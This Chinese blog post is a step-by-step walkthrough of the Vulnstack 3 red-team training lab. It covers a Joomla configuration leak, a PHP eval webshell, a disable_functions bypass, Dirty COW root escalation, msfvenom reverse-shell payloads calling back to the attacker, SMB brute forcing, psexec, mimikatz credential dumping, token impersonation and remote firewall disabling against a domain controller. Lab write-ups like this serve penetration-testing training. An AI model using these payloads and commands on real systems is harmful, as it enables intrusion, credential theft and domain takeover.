Vulnstack红队靶场之Joomla篇

红日靶场Vulnstack 3(ATT&CK 实战系列三)是一个非常经典的红队评估实战环境,主要模拟了中小型企业的三层内网架构。靶场涉及 敏感信息泄露、Joomla 漏洞利用、脏牛提权、内网穿透(FRP)、WMI/SMB 横向移动及域控渗透 等核心知识点。

1. 环境搭建

搭建 红日靶场 Vulnstack 3 (ATT&CK 实战系列三) 的核心在于多网卡隔离与三层内网拓扑的恢复。由于该靶机系统均为英文版,在搭建时需要特别注意各虚拟机的网卡模式(NAT、仅主机 Host-Only)的分配,否则会导致内网无法连通或无法打点。

1.1 工具准备

  • nmap:端口扫描工具,Kali 自带;
  • Navicat Premium 12:数据库管理工具;
  • 蚁剑:一款跨平台的开源网站管理工具;
  • msf:综合利用工具;
  • wmiexec:横向移动工具

1.2 靶场下载

靶机名称:ATT&CK 红队评估实战靶场(三)

靶机下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/7/

整个环境共有 5 台虚拟机(3台 Windows,2台 Linux):

  • Web 边界网关 (web-centos):双网卡,外网192.168.43.100(NAT),内网 192.168.93.100(仅主机);
  • Linux 内部服务器 (Ubuntu):单网卡:192.168.93.120;
  • 内网域环境 (TEST 域):
    • 192.168.93.30 (Win7 域内主机);
    • 192.168.93.20 (Win Server 2008/2012 服务器);
    • 192.168.93.10 (Windows Server 2012 R2 域控 DC) ;

1.3 拓扑图

       [ 攻击机 (Kali Linux) ] 
                 │ (192.168.111.x / NAT 模式)
                 ▼
─────────────────┼────────────────────────────────────────── 外网 (VMnet8)
                 │
                 ▼ (外网网卡: 192.168.43.110)
       [ 边界服务器 (web-centos) ]
                 │ (内网网卡: 192.168.93.100)
                 ▼
─────────────────┼────────────────────────────────────────── 内网第一层 (VMnet1)
                 │
                 ▼ (网卡1: 192.168.93.120)
       [ 内部转发服务器 (Ubuntu) ]
                 ▼
─────────────────┼────────────────────────────────────────── 内网第二层 (VMnet2)
                 │
        ┌────────┴────────┬────────────────────────┐
        ▼                 ▼                        ▼
  (192.168.93.30)  (192.168.93.20)       (192.168.93.10)
   [ 域内主机 Win7 ]  [ 文件服务器 Win2008 ]   [ 域控制器 DC (Win2012) ]

拓扑解析参考Vulnstack红队靶场WebLogic篇

1.4 虚拟网络编辑

两张网卡分别设置为 VMnet3 (host only) 和 VMnet8(NAT 模式):

将所有靶机开机,内网服务有依赖关系,必须按照以下顺序开机:Win2012 (DC) ->Win2008 和 Win7->Ubuntu-Server->web-centos->Kali。

根据官网的要求,打开靶机默认为挂起状态(即账号已登录),第一时间进行快照备份,然后将网卡配置到各个靶机。centos需要重新获取NAT模式网卡IP:

service network restart

本次环境为黑盒测试,不提供虚拟机账号密码,即不需要进行登录即可完成渗透。

2. 信息收集

2.1 主机发现

首先,使用攻击机 Kali 的 nmap 工具对目标 WEB 服务器的外网 IP 进行扫描:

sudo nmap -sn -o hosts 192.168.111.0/24

确定了扫描的IP为192.168.111.11:

2.2 端口扫描

接着对外网 192.168.111.11的端口扫描:

nmap -sV -p- 192.168.111.11
//或nmap -T4 -sC -sV 192.168.111.11

通过扫描发现,开放了22、80、3306端口,分别运行着OpenSSH、nginx、MySQL服务。

2.3 专属漏洞扫描

首先访问80端口,发现是个 Joomla 3.9.12 搭建的网站(CMS),并且开启了Nginx服务。Joomla是很经典的CMS(内容管理系统),由PHP+MYSQL开发。

Kali中安装一个专用的Joomla漏洞扫描器JoomScan,是一个开源的轻量级 Perl 语言工具,专门用于自动检测 Joomla 内容管理系统 (CMS) 的安全漏洞、错误配置和组件隐患:

git clone https://github.com/OWASP/joomscan.git
cd joomscan-0.0.7
perl joomscan.pl -u 192.168.111.11

可以看到该版本号为3.9.12,接下来使用dirsearch工具进行目录扫描:

path/to/venv/bin/python3 dirsearch.py -u 192.168.111.11

发现敏感文件configuration.php~泄露,可能是重要的配置文件,然后进行访问:

泄露了数据库配置信息:数据库名为joomla,账号为testuser,密码为cvcvgjASD!@,因为3306端口是开放的,可以使用Navicat工具连接试试:

2. 漏洞利用

2.1 获取数据库管理员权限

接下来就是找一下管理员的账号和密码,一般在**user表中,最终在am2zu_users表找到了,但是密码被加密了,比较麻烦,那么换另外一种方法:直接编辑数据库,此时数据库已经是root权限了,所以再添加一个用户就可以了,具体怎么操作官网已经给出答案了:https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn

官网给出了具体的sql语句执行即可:

INSERT INTO `jos31_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2','d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `jos31_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');

接下来使用admin2为账户,密码为secret的超级管理员登录后台:

2.2 上传马

接下来就是找能编辑php的地方,在后台打开模版,选择Beez3,在index.php页面中写入一句话木马:

@eval($_POST['1']);

接下来打开蚁剑连接/templates/beez3/index.php:

打开虚拟终端,发现不能执行指令:

2.3 绕过disable_functions

猜测可能是设置了disable_functions属性,在Beez3创建一个phpinfo.php看看:

<?php phpinfo();?>

可以使用蚁剑的插件绕过disable_fuctions,找到蚁剑插件市场安装即可:

选择PHP7_UserFilter模式绕过即可:

3. 内网渗透

3.1 信息收集

拿下一台主机后,就可以收集该主机的信息,如查看配置文件、密码本、网卡信息等:

ip a   # 查看网卡信息
hostname    # 获取主机名
uname -a   # 查看版本信息
cat /etc/passwd    # 列出系统所有用户 
cat /etc/group    # 列出系统所有组 
w    # 查看目前登录的用户
whoami    # 查看当前用户 
id    # 查看当前用户信息 
sudo -l    # 列出目前用户可执行与无法执行的指令 
ps aux    # 查看进程信息 
ifconfig -a    # 列出网络接口信息 
cat /etc/network/interfaces    # 列出网络接口信息  
route    # 打印路由信息
netstat -anplt    # 打印本地端口开放信息 
iptables -L    # 列出iptable的配置规则
arp -a  # 查看系统arp表

目标主机为Ubuntu,并且还有一个192.168.93.0/24的网段,该主机的IP为192.168.93.120;

接下来在/tmp/mysql目录中的test.txt文件中发现了账号和密码:

猜测可能是22端口的ssh服务,先尝试一下:

sudo ssh -o HostKeyAlgorithms=+ssh-rsa wwwuser@192.168.111.11
cat /etc/issue

连接成功后发现IP由一个变为两个,操作系统也变成了centos:

之前端口扫描的时候目标主机开放了Nginx服务,推测可能是反向代理服务,即Nginx反向代理将内网的ubuntu(192.168.93.120)上的Joomla代理到了CentOS(192.168.111.129|192.168.93.100)上面,查看centos系统的Nginx配置文件:

cat /etc/nginx/nginx.conf

看到了Nginx反向代理的标志proxy_pass,所以说Nginx不是用来运行web服务的,而是做了反向代理,真正的web服务运行在内网的Ubuntu上。

3.2 权限提升

查看一下centos的版本和内核版本:

cat /proc/version
cat /etc/issue

可以看到内核版本为2.6.32,centos版本为6.5,符合脏牛提权的条件,“脏牛”(Dirty COW,编号 CVE-2016-5195)是 Linux 内核的一个本地提权漏洞,将下载好的漏洞利用程序上传到centos的目录:

git clone https://github.com/firefart/dirtycow.git
cd dirtycow-master/
gcc -pthread dirty.c -o dirty -lcrypt && chmod 777 dirty
rm /tmp/passwd.bak
./dirty 123456

执行完后会生成一个用户名为toor,密码为123456的root用户,切换到该用户可获得root权限:

切换用户可以看到权限:

3.3 CentOS上线MSF

通过msf上线进行内网主机扫描,msf上线意味着可以出网了。

生成木马,并上传到攻击机中,本地kali的ip为192.168.111.10:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.111.10 LPORT=4444 -f elf > shell.elf

通过FileZilla上传到目标机(centos),并赋予其权限运行:

chmod +x shell.elf
./shell.elf

打开msf进行监听:

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.111.10
set lport 4444
run

接下来对内网IP所在网段进行探测,需要先配置路由:

run autoroute -s 192.168.93.0/24
bg
use auxiliary/server/socks_proxy
set version 4a
set srvport 6677
run

配置完成,使用auxiliary/scanner/discovery/udp_probe模块来扫描内网主机:

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0-255
set threads 5
run

可以看到扫描到了三台主机,并且存在域TEST:

  • 192.168.93.10:WIN-8GA56TNV3MV,还是DNS服务器,可能是域控(DC);
  • 192.168.93.20:WIN2008;
  • 192.168.93.30:WIN7;

3.4 端口探测

接下来进行端口扫描:

use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.93.10/20/30
run

3.5 横向移动

通过端口扫描看到目标机都开启了445端口,尝试SMB爆破:

use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.93.30
set pass_file /home/peiqi/pass.txt
set smbuser administrator
run

密码为123qwe!ASD,然后进行psexec连接:

use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set SMBUser administrator
set SMBPass 123qwe!ASD
set RHOSTS 192.168.93.20
run

现在直接是system权限了,查看一下系统信息:

shell
systeminfo

Win7的靶机也是一样的操作,接下来利用mimikatz(msf自带)拿下域控:

load kiwi
kiwi_cmd sekurlsa::logonPasswords

直接登录域控会报错,换一种别的方法。

3.6 获取域控权限

生成一个正向的msf马shell.exe,并将shell.exe上传到Windows 2008:

msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.111.10 LPORT=4444 -e x86/shikata_ga_nai -f exe -o shell.exe

然后窃取个域管理员用户的token令牌:

use incognito
list_tokens -u
impersonate_token "TEST\adminitrator"

然后就可以访问域控制器了:

接着将域控制器的防火墙关闭:

sc \\192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.10 start unablefirewall

再次尝试使用 exploit/windows/smb/psexec 模块登录即可成功:

setg Proxies socks5:127.0.0.1:1080
use exploit/windows/smb/psexec
set rhosts 192.168.93.10
set SMBDomain TEST
set SMBUser administrator
set SMBPass zxcASDqw123!!
# set SMBPass fc5d63d71569f04399b419bc76e2eb34:18edd0cc3227be3bf61ce198835a1d97
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.10
run

第二种方法就是使用横向移动工具wmiexec,可以直接getshell:

.\wmiexec_windows.exe administrator:zxcASDqw123!!@192.168.93.10
免责声明:

1. 一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。

2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。

3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
觉得有帮助可以赞赏本文哦~万分感谢!
文章:Vulnstack红队靶场之Joomla篇
作者:沛旗
链接:https://www.peiqiblog.com/article/18067/
版权声明::本博客站点所有文章除特别声明外,均采用 CC BY-NC-SA 4.0协议
转载请注明文章地址及作者哦~
暂无评论

发送评论(禁止发表一切违反法律法规的敏感言论) 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇